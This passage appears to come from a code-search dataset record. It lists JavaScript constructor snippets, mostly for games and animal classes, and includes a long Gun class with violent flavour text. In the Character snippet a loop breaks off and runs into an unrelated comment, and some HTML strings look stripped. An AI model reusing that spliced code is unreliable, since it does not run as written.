this.numLegs = 4;\n}","function Dog() {\n this.name = \"Rupert\";\n this.color = \"brown\";\n this.numLegs = 4;\n}","function Dragon(life, name, level, color, spell){\n //Keyword this references the newly created Dragon object\n //So we pass that to our previous constructor as a reference\n Enemy.call(this, life, name, level); //Remeber this is an object itself\n //And set the rest of the properties\n this.color = color;\n this.spell = spell;\n }","TakeWeapon() {\n this._on_cooldown = true\n this._PaintSpawn()\n this._last_use = Date.now()\n }","function Greeter(phase) {\n this.phase = phase;\n}","function Dog(){//Constructors are functions that create new objects.\n this.name = 'Charlie';//They define properties and behaviors that will belong to the new object.\n this.color = 'Red-brown';//'this.attribute' etc.\n this.numLegs = 4;\n}","constructor(name, legs) {\n this.name = name;\n this.legs = legs;\n }","function Dog() {\n this.name = \"Rupert\";\n this.color = \"brown\";\n this.numLegs = 4;\n }","function Dog() {\n this.name = \"Rupert\";\n this.color = \"brown\";\n this.numLegs = 4;\n }","function WalkingCreature(oxygen, legs) {\n Walker.call(this, legs, oxygen);\n}","function Penguin(name, numLegs) {\n this.name = name;\n this.numLegs = 2;\n }","function Penguin(name, numLegs) {\n this.name = name;\n this.numLegs = 2;\n }","constructor(hull, firepower,accuracy){\n this.hull=hull;\n this.firepower=firepower;\n this.accuracy=accuracy;\n }","constructor(...args) {\n super(...args);\n\n\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\n\n // default values for private member values\n this.fireExtinguished = 0;\n\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\n // any additional init logic you want can go here\n //<<-- /Creer-Merge: init -->>\n }","constructor(name, favoriteFood, hoursOfSleep) {\n // you can set any your custom properties\n this.legs = 2;\n this.hands = 2;\n this.head = 1;\n this.name = name;\n this.favoriteFood = favoriteFood;\n this.hoursOfSleep = hoursOfSleep;\n }","function Dog(){\n this.name = \"Bob\";\n this.color = \"red\";\n this.numLegs = 4;\n}","function Character() {\r\n // customization attributes\r\n isMale = false;\r\n\r\n // battle attributes\r\n money = -1;\r\n lifePoints = -1;\r\n weaponUpgrade = -1;\r\n shieldUpgrade = -1;\r\n clockNumber = -1;\r\n brainNumber = -1;\r\n \r\n // customization attributes\r\n this.setGender = function(gender) {\r\n if(gender===\"male\")\r\n isMale = true;\r\n else // is not male -> female\r\n isMale = false;\r\n };// end mutator\r\n this.getGender = function() {\r\n if(isMale)\r\n return \"male\";\r\n else // is not male -> female\r\n return \"female\";\r\n };// end accessor\r\n this.setImage = function() { \r\n if(isMale)\r\n $(\"#girlSprite\").css(\"visibility\", \"hidden\");// hide girl for boy, and vice versa\r\n else// is female\r\n $(\"#boySprite\").css(\"visibility\", \"hidden\");\r\n changeCharacterLives();\r\n };// end setImage \r\n \r\n // battle-related functions\r\n this.setMoney = function(m) {\r\n money = m;\r\n };// end mutator\r\n this.getMoney = function() {\r\n return money;\r\n };// end accessor\r\n this.setLifePoints = function(lp) {\r\n lifePoints = lp;\r\n changeCharacterLives();\r\n };// end mutator\r\n this.getLifePoints = function() {\r\n return lifePoints;\r\n };// end accessor \r\n this.setWeaponUpgrade = function(level) {\r\n weaponUpgrade = level;\r\n };// end mutator\r\n this.getWeaponUpgrade = function() {\r\n return weaponUpgrade;\r\n };// end accessor \r\n this.setShieldUpgrade = function(level) {\r\n shieldUpgrade = level;\r\n };// end mutator\r\n this.getShieldUpgrade = function() {\r\n return shieldUpgrade;\r\n };// end accessor \r\n this.setClockNumber = function(amount) {\r\n clockNumber = amount;\r\n };// end mutator\r\n this.getClockNumber = function() {\r\n return clockNumber;\r\n };// end accessor\r\n this.setBrainNumber = function(amount) {\r\n brainNumber = amount;\r\n };// end mutator\r\n this.getBrainNumber = function() {\r\n return brainNumber;\r\n };// end accessor \r\n \r\n this.loseLife = function() {\r\n lifePoints --;\r\n changeCharacterLives();\r\n };// end loseLife\r\n function changeCharacterLives() {\r\n var canvas = document.getElementById(\"characterLives\");\r\n var context = canvas.getContext('2d');\r\n var imageObj = new Image();\r\n context.clearRect(0,0,canvas.width,canvas.height);\r\n imageObj.src = \"images/heart.png\";\r\n imageObj.onload = function() {\r\n for(var i=0; i> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\n // any additional init logic you want can go here\n //<<-- /Creer-Merge: init -->>\n }","constructor(){\n this.hull=20;\n this.firepower=5;\n this.accuracy=0.7;\n }","function Character(name, profession, gender, age, strength, hitPoints) {\n this.name = name;\n this.profession = profession;\n this.gender = gender;\n this.age = age;\n this.strength = strength;\n this.hitPoints = hitPoints;\n this.PrintStatus = function() {\n // console.log(this.name, this.profession, this.gender, this.age, this.strength, this.hitPoints);\n console.log(JSON.stringify(this));\n // console.log(this);\n }\n this.IsAlive = function() {\n if (hitPoints > 0) {\n console.log(this.name + ' is alive. For now...')\n } else {\n console.log(this.name + ' is dead. Such a shame. Welp...')\n }\n }\n this.Attack = function(target) {\n target.hitPoints -= this.strength;\n console.log(target.name + ' took some damage! They have ' + target.hitPoints + ' hit points left. In your face ' + target.name + '!')\n }\n this.levelUp = function() {\n this.age += 1;\n this.strength += 5;\n this.hitPoints += 25;\n console.log(`${this.name} leveled up yo! That's kinda rad. They are now ${this.age} years old, have ${this.strength} strength and have ${this.hitPoints} hit points.`)\n }\n}","function Ninja(name){\n\tthis.name = name;\n\tthis.health = 100;\n\t// speed and strength need to be private\n\tthis.speed = 3;\n\tthis.strength =3;\n}","function ShadowRunner() {\n Archer.apply(this, arguments);\n this.class = 'ShadowRunner';\n this.health = 21;\n this.armor = 17;\n this.dex = 13;\n this.str = 5;\n }","constructor() {\n super(\"MainScene\");\n // Monster variables\n this.monsterImage = null;\n this.hp = 5;\n this.hpText = null;\n this.soulsText = null;\n // Levels in upgrades\n this.levels = {\n bolt: 0\n }\n // Status of monster\n this.alive = false;\n }","function Animal() {\n // arguments\n this.spaces = \"Animal\";\n this.growup = function () {\n console.log(\"Stronger\");\n }\n}","function SuperHuman(name,age,power){\n this.power = power;\n Human.call(this,name,age);\n}","function fight() {\n // Update interface with fighters' name and hp's\n refreshDomElement($outputDiv, playersArray[0].name + ' and ' + playersArray[1].name + ' are going to fight !');\n\n // Choose first attacker and add new property on chosen player\n var first = randomIntFromInterval(1, 2);\n player1 = playersArray[0];\n player2 = playersArray[1];\n\n if (first === 1) {\n player1.start = 1;\n } else {\n player2.start = 1;\n }\n\n // Round function\n round();\n}","function Dog (color, status, hungry) {\n this.color = color\n this.status = status\n this.hungry = false\n this.owner = undefined\n}"],"string":"[\n \"function Gun(descr) {\\n\\n // Common inherited setup logic from Entity\\n this.setup(descr);\\n\\n this.rememberResets();\\n\\t\\n\\tthis.tower = g_sprites.tower;\\n this.diamond = g_sprites.diamond;\\n\\t\\n\\tthis.towerHeight = this.tower.height;\\n\\tthis.towerWidth = this.tower.width;\\n\\t\\n // Set normal drawing scale, and warp state off\\n this._scale = 0;\\n\\n this.cooldown = this.getCooldown();\\n}\",\n \"function Gun() {\\n ( function init( self )\\n {\\n self.bulletCountMax = 30;\\n self.timeBetweenBullet = 100;\\n self.timeReload = 2500;\\n\\n // State: 0: Can fire, 1: cooldown between bullets, 2: reloading\\n self.state = 0;\\n self.bulletCount = self.bulletCountMax;\\n self.timeSinceLastBullet = 0;\\n self.timeSinceReload = 0;\\n\\n self.animationTime = 0;\\n } ) ( this );\\n}\",\n \"function Gun(name, type, range, auto, db, magSize, maxMagSize, ammoType, bullet, melee) {\\r\\n // Properties\\r\\n // Basic properties\\r\\n this.name = name;\\r\\n this.type = type;\\r\\n this.range = range;\\r\\n this.isFullAuto = auto;\\r\\n this.noise = db;\\r\\n this.magSize = magSize;\\r\\n\\tthis.maxMagSize = maxMagSize;\\r\\n this.ammoType = ammoType;\\r\\n this.bulletDamage = bullet;\\r\\n this.meleeValue = melee;\\r\\n\\r\\n // Secondary fire mode properties\\r\\n this.secondaryFire = false;\\r\\n this.secondaryFireAmmo = null;\\r\\n\\tthis.secondaryFiremaxMag = null;\\r\\n\\tthis.secondaryDamage = null;\\r\\n\\tthis.ammoSecondaryType = null;\\r\\n\\r\\n // Modifiers\\r\\n this.rangeModifier = 0;\\r\\n this.scopeAttached = false;\\r\\n\\tthis.magAttached = false;\\r\\n\\tthis.silencerAttached = false;\\r\\n\\tthis.bayonetAttached = false;\\r\\n this.noiseModifier = 0;\\r\\n this.magModifier = null;\\r\\n this.damageModifier = 0;\\r\\n this.accuracyModifier = 0;\\r\\n this.meleeValueModifier = 0;\\r\\n\\r\\n // Methods\\r\\n /*\\r\\n\\tNOTES:\\r\\n\\tMoved the methods to here instead of gun.prototype because we do not want to modify the object that the gun extends... which is the Object object.\\r\\n\\tMeaning that, before, *all* objects had a SprayAndPray method.\\r\\n\\tHowever, if you make a new object that derives from gun, you can use myObject.prototype.myMethod to add myMethod to the gun object.\\r\\n */\\r\\n\\r\\n /*\\r\\n\\tAdds an attachment to the gun\\r\\n\\tattachment - string - name of attachment to apply\\r\\n */\\r\\n this.addAttachment = function(attachment) {\\r\\n\\tvar output = \\\"\\\";\\r\\n\\r\\n\\tswitch(attachment) {\\r\\n\\t case \\\"GP-30 grenade launcher\\\":\\r\\n\\t\\tif (this.type === \\\"russian assault rifle\\\") {\\r\\n\\t\\t this.secondaryFire = true;\\r\\n\\t\\t this.secondaryFireAmmo = 1;\\r\\n\\t\\t\\tthis.secondaryFiremaxMag = 1;\\r\\n\\t\\t\\tthis.secondaryDamage = 300;\\r\\n\\t\\t\\tthis.ammoSecondaryType = \\\"grenades\\\";\\r\\n\\t\\t\\tdocument.getElementById(\\\"grenadeLauncherAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\t output = \\\"

                    The GP-30 grenade launcher slides onto the rails under your \\\"+ this.name +\\\". The smell of gun grease and sweat wafts up from the heat that radiates off of the ground and into your nostrils as a sickly sweet aroma. You grin slightly, cocking the weapon to the side to admire your handiwork and slide a grenade into your newly attached piece of hardware. It is now ready to fire. Click the grenade icon in the secondary fire pane, and then on the target you wish to attack!

                    \\\";\\r\\n\\t\\t} else {\\r\\n\\t\\t output = \\\"

                    You can only use this attachment with a russian-made assault rifle.

                    \\\";\\r\\n\\t\\t}\\r\\n\\t break;\\r\\n\\r\\n\\t case \\\"Red dot sight\\\":\\r\\n\\t\\tthis.rangeModifier = 20;\\r\\n\\t\\tthis.scopeAttached = true;\\r\\n\\t\\tdocument.getElementById(\\\"scopeAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    Your red dot sight slides into position with a slight *click*. You check your sights and make the necessary adjustments. Good to go. You now have a \\\" + this.rangeModifier + \\\" point accuracy bonus.

                    \\\";\\r\\n\\t break;\\r\\n\\r\\n\\t case \\\"Reflex sight\\\":\\r\\n\\t\\tthis.rangeModifier = 10;\\r\\n\\t\\tthis.scopeAttached = true;\\r\\n\\t\\tdocument.getElementById(\\\"scopeAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    Your reflex sight attaches with no issue. You tweak the settings until you are happy with them and begin staring down the sights intently for the kill.

                    \\\";\\r\\n\\t break;\\r\\n\\r\\n\\t case \\\"6H5 type bayonet\\\":\\r\\n\\t\\tthis.bayonetAttached = true;\\r\\n\\t\\tthis.meleeValueModifier = 20;\\r\\n\\t\\tdocument.getElementById(\\\"bayonetAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You affix the 6H5 type bayonet to the end of your weapon and let loose a maniacal guffaw! You now have a [20] point damage bonus for melee attacks.

                    \\\";\\r\\n\\t break;\\r\\n\\r\\n\\t case \\\"Silencer\\\":\\r\\n\\t\\tthis.silencerAttached = true;\\r\\n\\t\\tthis.noiseModifier = 40;\\r\\n\\t\\tdocument.getElementById(\\\"silencerAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You screw the silencer onto the end of your weapon with no problems.

                    \\\";\\r\\n\\t break;\\r\\n\\r\\n\\t case \\\"Extended Magazine\\\":\\r\\n\\t this.magModifier = 54;\\r\\n\\t\\tthis.magAttached = true;\\r\\n\\t this.magSize = (this.magModifier + this.magSize);\\r\\n\\t\\tthis.maxMagSize = (this.magModifier + this.magSize);\\r\\n\\t\\tdocument.getElementById(\\\"magAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You slide in a fresh drum magazine for your \\\" + this.name + \\\". It pops into place with a satisfying clicking noise. A wicked grin pulls at the corners of your lips and you begin checking your sights. \\\" + \\\"Your total magazine capacity for this gun has been upgraded to \\\" + this.magSize + \\\" shots of \\\" + this.ammoType + \\\".

                    \\\";\\r\\n break;\\r\\n\\r\\n\\t case \\\"Standard magazine (AK)\\\":\\r\\n\\t\\tthis.magModifier = 0;\\r\\n\\t\\tthis.magSize = 15;\\r\\n\\t\\tthis.maxMagSize = 15;\\r\\n\\t\\tthis.magAttached = false;\\r\\n\\t\\tdocument.getElementById(\\\"magAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You slide in a standard 15 round magazine for your \\\" + this.type + \\\".

                    \\\";\\r\\n\\t break;\\r\\n\\r\\n\\t\\t\\r\\n\\t\\tcase \\\"Standard iron sights\\\":\\r\\n\\t\\tthis.rangeModifier = 0;\\r\\n\\t\\tthis.scopeAttached = false;\\r\\n\\t\\tdocument.getElementById(\\\"scopeAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You remove the scope from your weapon and go back to using your standard iron sights.

                    \\\";\\r\\n\\t\\tbreak;\\r\\n\\t\\t\\r\\n\\t\\tcase \\\"no bayonet\\\":\\r\\n\\t\\tthis.meleeValueModifier = 0;\\r\\n\\t\\tthis.bayonetAttached = false;\\r\\n\\t\\tdocument.getElementById(\\\"bayonetAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t output = \\\"

                    You remove the bayonet from your weapon.

                    \\\";\\r\\n\\t\\tbreak;\\r\\n\\t\\t\\r\\n\\t\\tcase \\\"no grenades\\\":\\r\\n\\t\\tthis.secondaryFire = false;\\r\\n\\t\\tthis.secondaryFireAmmo = null;\\r\\n\\t\\tthis.secondaryFiremaxMag = null;\\r\\n\\t\\tthis.secondaryDamage = null;\\r\\n\\t\\tthis.ammoSecondaryType = null;\\r\\n\\t\\tdocument.getElementById(\\\"grenadeLauncherAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You detach the grenade launcher from your weapon.

                    \\\";\\r\\n\\t\\tbreak;\\r\\n\\t\\t\\r\\n\\t\\tcase \\\"no silencer\\\":\\r\\n\\t\\tthis.silencerAttached = false;\\r\\n\\t\\tthis.noiseModifier = 0;\\r\\n\\t\\tdocument.getElementById(\\\"silencerAttachment\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput = \\\"

                    You unscrew the silencer from the end of your weapon.

                    \\\";\\r\\n\\t break;\\r\\n\\t\\t\\r\\n\\t\\tdefault:\\r\\n\\t\\toutput = \\\"

                    This attachment is nowhere to be found in your pack! Most unfortunate.

                    \\\";\\r\\n\\t break;\\r\\n\\t}\\r\\n\\t\\r\\n\\t\\r\\n\\r\\n\\tLogInfo(output);\\r\\n } // addAttachment\\r\\n\\r\\n /*\\r\\n\\tBust a cap. Or many of them, as the case may be.\\r\\n\\ttarget - object - the thing that you want to make dead\\r\\n */\\r\\n this.sprayAndPray = function(target){\\r\\n\\tvar output = \\\"\\\",\\r\\n\\t randomSeed = Math.floor(Math.random() * 10 + 3),\\r\\n\\t newMagSize = 0,\\r\\n\\t damageDealt = 0;\\r\\n\\r\\n\\tif (!target.dead && target.isAlive) {\\r\\n\\t if (this.isFullAuto) {\\r\\n\\t\\t\\r\\n\\t\\t// Checks to see if we have enough ammo and fires if we do!\\r\\n\\t\\tif (this.magSize >= 3) {\\r\\n\\t\\t newMagSize = this.magSize - randomSeed;\\r\\n\\t\\t damageDealt = this.bulletDamage * randomSeed;\\r\\n\\t\\t output = \\\"

                    You switch your \\\" + this.type +\\\" over to full-auto and throw some hot lead downrange with your \\\"+ this.name +\\\"! *BRRRRAPP!* You fired \\\" + randomSeed + \\\" shots for a combined total damage score of \\\"+ damageDealt + \\\" (\\\"+ this.bulletDamage + \\\" per round).

                    \\\";\\r\\n\\t\\t} else {\\r\\n\\t\\t output = \\\"

                    Please reload your weapon.

                    \\\";\\r\\n\\t\\t}\\r\\n\\t } else {\\r\\n\\t\\toutput = \\\"

                    You cannot spray and pray with a non-automatic weapon. Try taking an aimed shot instead.

                    \\\";\\r\\n\\t }\\r\\n\\r\\n\\t if (damageDealt > target.health && target.isAlive && target.isLiving) {\\r\\n\\t\\ttarget.dead = true;\\r\\n\\t\\toutput += \\\"

                    [CRITICAL HIT] Your attack installed a new moonroof in the back of \\\" + target.name + \\\"'s head courtesy of your \\\" + this.type +\\\", Effectively killing the *shit* out of it! \\\" + target.deathKnell + \\\" You have \\\" + newMagSize + \\\" rounds of \\\" + this.ammoType + \\\" left!

                    \\\";\\r\\n\\t } else if (damageDealt === target.health && target.isAlive && target.isLiving) {\\r\\n\\t\\ttarget.dead = true;\\r\\n\\t\\toutput += \\\"

                    You scored a direct hit on \\\" + target.name + \\\"! \\\" + \\\" blood spurts from an artery, and they drop to the floor still twitching. \\\" + target.deathKnell + \\\" You have \\\" + newMagSize + \\\" rounds of \\\" + this.ammoType +\\\" left!

                    \\\";\\r\\n\\t } else if (damageDealt >= target.health && target.isAlive && !target.isLiving) {\\r\\n\\t\\ttarget.dead = true;\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t\\toutput += \\\"

                    You destroyed the \\\" + target.name + \\\"! \\\" + target.deathKnell + \\\" You have \\\" + newMagSize + \\\" shots of \\\" + this.ammoType + \\\" left!

                    \\\";\\r\\n\\t } else {\\r\\n\\t\\ttarget.health = target.health - damageDealt;\\r\\n\\t\\tthis.magSize = newMagSize;\\r\\n\\t output += \\\"

                    Your volley of shots strikes \\\"+ target.name + \\\". They now have \\\" + target.health + \\\" health left.\\\"+ \\\" \\\" + target.hitSound + \\\" You now have \\\" + newMagSize +\\\" Rounds of \\\"+ this.ammoType +\\\" left.

                    \\\";\\r\\n\\t }\\r\\n\\t} else {\\r\\n\\t output = \\\"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \\\";\\r\\n\\t}\\r\\n\\r\\n\\tLogInfo(output);\\r\\n } // sprayAndPray\\r\\n\\t\\r\\n\\t\\r\\n\\r\\n\\t// Bust *a* cap. in the singular case this time! Arriba!\\r\\n\\tthis.aimedShot = function(target){\\r\\n\\r\\n\\tvar output = \\\"\\\";\\r\\n\\r\\n\\t// is it dead?\\r\\n if (!target.dead) {\\t\\r\\n\\t\\r\\n\\t\\t newMagSize = 0;\\r\\n\\t damageDealt = 0;\\r\\n\\t\\t\\r\\n\\t// do we have enough ammo? if so let's rock!\\r\\n\\tif (this.magSize >= 1) {\\t\\r\\n\\t\\tnewMagSize = this.magSize - 1;\\r\\n\\t damageDealt = this.bulletDamage;\\t\\t\\r\\n\\tif (damageDealt > target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.magSize = newMagSize;\\r\\n\\t output += \\\"

                    [CRITICAL HIT] Your attack installed a new moonroof in the back of \\\" + target.name + \\\"'s head courtesy of your \\\" + this.type +\\\", Effectively killing the *shit* out of it! \\\" + target.deathKnell + \\\" You now have \\\" + newMagSize +\\\" Rounds of \\\"+ this.ammoType +\\\" left.

                    \\\";\\r\\n\\t} else if (damageDealt === target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.magSize = newMagSize;\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    You scored a fatal hit on \\\" + target.name + \\\"! \\\" + \\\" blood spurts from an artery in a glorious crimson fountain in front of them, and they drop to the floor still twitching. \\\" + target.deathKnell + \\\" You now have \\\" + newMagSize +\\\" Rounds of \\\"+ this.ammoType +\\\" left.

                    \\\";\\r\\n\\t} else if (damageDealt >= target.health && !target.isLiving) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.magSize = newMagSize;\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    You destroyed the \\\" + target.name + \\\"! \\\" + target.deathKnell + \\\"

                    \\\";\\r\\n\\t} else {\\r\\n\\t target.health = target.health - damageDealt;\\r\\n\\t\\tthis.magSize = newMagSize;\\r\\n\\t output += \\\"

                    Steadying your weapon, you level a well-placed shot into \\\"+ target.name + \\\" For [\\\" + this.bulletDamage + \\\"] points of damage. They now have \\\" + target.health + \\\" health left.\\\"+ \\\" \\\" + target.hitSound + \\\" You now have \\\" + newMagSize +\\\" Rounds of \\\"+ this.ammoType +\\\" left.

                    \\\";\\r\\n\\t}\\t\\r\\n\\t}else{\\r\\n\\toutput += \\\"

                    Please reload your weapon

                    \\\";\\r\\n\\t}\\t\\t\\r\\n\\t}else{\\r\\n\\toutput = \\\"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \\\";\\r\\n\\t}\\r\\n\\tLogInfo(output);\\r\\n\\t} // Aimed shot\\r\\n\\t\\r\\n\\t\\r\\n\\r\\n\\t// Gettin' stabby with it (melee)!\\r\\n\\r\\n\\tthis.attackMelee = function(target){\\r\\n\\r\\n\\tvar output = \\\"\\\";\\r\\n\\r\\n\\t// is it dead?\\r\\n if (!target.dead) {\\t\\r\\n\\t\\r\\n\\t damageDealt = this.meleeValueModifier + this.meleeValue;\\r\\n\\t\\t\\t\\t\\r\\n\\tif (damageDealt > target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t output += \\\"

                    [CRITICAL HIT] You completely decapitated \\\" + target.name + \\\" with your insane melee skills, Effectively killing the *shit* out of it! \\\" + target.deathKnell + \\\"

                    \\\";\\r\\n\\t} else if (damageDealt === target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    You land a devastating blow on \\\" + target.name + \\\"! \\\" + \\\" blood pours from a wound you have left in their throat, and they drop to the floor still twitching. \\\" + target.deathKnell + \\\"

                    \\\";\\r\\n\\t} else if (damageDealt >= target.health && !target.isLiving) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    You destroyed the \\\" + target.name + \\\"! \\\" + target.deathKnell + \\\"

                    \\\";\\r\\n\\t} else {\\r\\n\\t target.health = target.health - damageDealt;\\r\\n\\t output += \\\"

                    You swing frantically at \\\"+ target.name + \\\" For [\\\" + damageDealt + \\\"] points of damage. They now have \\\" + target.health + \\\" health left.\\\"+ \\\" \\\" + target.hitSound + \\\"

                    \\\";\\r\\n\\t}\\t\\r\\n\\t}else{\\r\\n\\toutput = \\\"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \\\";\\r\\n\\t}\\r\\n\\tLogInfo(output);\\r\\n\\t} // attackMelee\\r\\n\\t\\r\\n\\t\\r\\n\\t// Lob a grenade!\\r\\n\\tthis.grenade = function(target){\\r\\n\\tvar output = \\\"\\\";\\r\\n\\r\\n\\t// is it dead?\\r\\n if (!target.dead) {\\t\\r\\n\\t\\r\\n\\t\\t newSecondaryMagSize = 0;\\r\\n\\t damageDealt = 0;\\r\\n\\t\\t\\r\\n\\t// do we have enough ammo? if so let's rock!\\r\\n\\tif (this.secondaryFireAmmo >= 1) {\\t\\r\\n\\t\\tnewSecondaryMagSize = this.secondaryFireAmmo - 1;\\r\\n\\t damageDealt = this.secondaryDamage;\\t\\t\\r\\n\\tif (damageDealt > target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.secondaryFireAmmo = newSecondaryMagSize;\\r\\n\\t\\tdocument.getElementById(\\\"secondaryAmmo\\\").innerHTML = \\\"\\\" + \\\" x \\\" + newSecondaryMagSize + \\\"\\\";\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    [CRITICAL HIT] Your attack obliterated \\\" + target.name + \\\". \\\" + target.deathKnell + \\\" You now have \\\" + newSecondaryMagSize +\\\" Rounds of \\\"+ this.ammoSecondaryType +\\\" left. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \\\";\\r\\n\\t} else if (damageDealt === target.health && target.isLiving === true) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.secondaryFireAmmo = newSecondaryMagSize;\\r\\n\\t\\tdocument.getElementById(\\\"secondaryAmmo\\\").innerHTML = \\\"\\\" + \\\" x \\\" + newSecondaryMagSize + \\\"\\\";\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    The explosion splatters \\\" + target.name + \\\" all over the room! \\\" + target.deathKnell + \\\" You now have \\\" + newSecondaryMagSize +\\\" Rounds of \\\"+ this.ammoSecondaryType +\\\" left. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \\\";\\r\\n\\t} else if (damageDealt >= target.health && !target.isLiving) {\\r\\n\\t target.dead = true;\\r\\n\\t\\tthis.secondaryFireAmmo = newSecondaryMagSize;\\r\\n\\t\\tdocument.getElementById(\\\"secondaryAmmo\\\").innerHTML = \\\"\\\" + \\\" x \\\" + newSecondaryMagSize + \\\"\\\";\\r\\n\\t\\tdocument.getElementById(\\\"questWindow\\\").innerHTML = \\\"\\\";\\r\\n\\t output += \\\"

                    You exploded the \\\" + target.name + \\\"! \\\" + target.deathKnell + \\\"

                    \\\";\\r\\n\\t} else {\\r\\n\\t target.health = target.health - damageDealt;\\r\\n\\t\\tthis.secondaryFireAmmo = newSecondaryMagSize;\\t\\r\\n\\t\\tdocument.getElementById(\\\"secondaryAmmo\\\").innerHTML = \\\"\\\" + \\\" x \\\" + newSecondaryMagSize + \\\"\\\";\\r\\n\\t output += \\\"

                    You launch a well-placed shot with one of your \\\" + this.ammoSecondaryType + \\\". \\\"+ target.name + \\\" was hit For a whopping [\\\" + this.secondaryDamage + \\\"] points of damage. They now have \\\" + target.health + \\\" health left.\\\"+ \\\" \\\" + target.hitSound + \\\" You now have \\\" + newSecondaryMagSize +\\\" Rounds of \\\"+ this.ammoSecondaryType +\\\" left in your launcher. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \\\";\\r\\n\\t}\\t\\r\\n\\t}else{\\r\\n\\toutput += \\\"

                    Please reload your grenade launcher

                    \\\";\\r\\n\\t}\\t\\t\\r\\n\\t}else{\\r\\n\\toutput = \\\"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \\\";\\r\\n\\t}\\r\\n\\tLogInfo(output);\\r\\n\\t} // Grenade\\r\\n\\t\\r\\n\\t\\r\\n\\t\\r\\n\\t//reload function\\r\\n\\tthis.reload = function(){\\r\\n\\t\\r\\n\\t\\tcurrentRounds = this.magSize + this.magModifier;\\r\\n\\t\\r\\n\\t\\tif( currentRounds === this.maxMagSize){\\r\\n\\t\\t\\r\\n\\t\\toutput = \\\"You do not need to reload this weapon.\\\";\\r\\n\\t\\t\\r\\n\\t\\t}else{\\r\\n\\t\\t\\r\\n\\t\\tamountToReload = this.maxMagSize - currentRounds;\\r\\n\\t\\tthis.magSize = this.magSize + amountToReload;\\r\\n\\t\\toutput = \\\"You reload your weapon. You now have \\\" + this.magSize + \\\" rounds of \\\" + this.ammoType + \\\".\\\";\\r\\n\\t\\tLogInfo(output);\\r\\n\\t\\t\\r\\n\\t\\t}\\r\\n\\t}// reload\\r\\n\\t\\r\\n\\t\\r\\n\\t\\r\\n\\t//secondary reload function (used for alt. fire weapons)\\r\\n\\tthis.secondaryReload = function(){\\r\\n\\t\\r\\n\\t\\tAKS74u.secondaryFireAmmo = 1;\\r\\n\\t\\tdocument.getElementById(\\\"secondaryAmmo\\\").innerHTML = \\\"\\\" + \\\" x \\\" + AKS74u.secondaryFireAmmo;\\r\\n\\t\\toutput = \\\"You reload another grenade\\\";\\r\\n\\t\\tLogInfo(output);\\r\\n\\t}// secondary reload\\r\\n\\t\\r\\n\\t\\r\\n\\t}\",\n \"function Person(name, stance, perception, taunt){\\r\\n this.name = name;\\r\\n this.stance = stance;\\r\\n this.perception = perception;\\r\\n this.taunt = taunt;\\r\\n this.weapon = null;\\r\\n\\t\\r\\n\\t/* \\r\\n\\tcurrent attack mode property for players (starts as single shot)\\r\\n\\t*/\\r\\n\\tthis.currentAttackMode = \\\"single\\\";\\r\\n\\r\\n /*\\r\\n\\tGo ahead, give them a gun, see if I care.\\r\\n\\tgun - object - the gun to equip them with\\r\\n */\\r\\n this.arm = function(gun) {\\r\\n\\tthis.weapon = gun;\\r\\n }\\r\\n\\r\\n /*\\r\\n\\tAttacks with the current weapon\\r\\n\\ttarget - object - the thing you want to attack\\r\\n */\\r\\n this.attack = function(target) {\\r\\n\\tthis.weapon.sprayAndPray(target);\\r\\n }\\r\\n\\t\\r\\n\\t/*\\r\\n\\tAttacks with single shot\\r\\n\\t*/\\r\\n\\tthis.attackSingle = function(target) {\\r\\n\\tthis.weapon.aimedShot(target);\\r\\n }\\r\\n\\t\\r\\n\\t/*\\r\\n\\tAttacks with melee\\r\\n\\t*/\\r\\n\\tthis.attackMelee = function(target) {\\r\\n\\tthis.weapon.attackMelee(target);\\r\\n 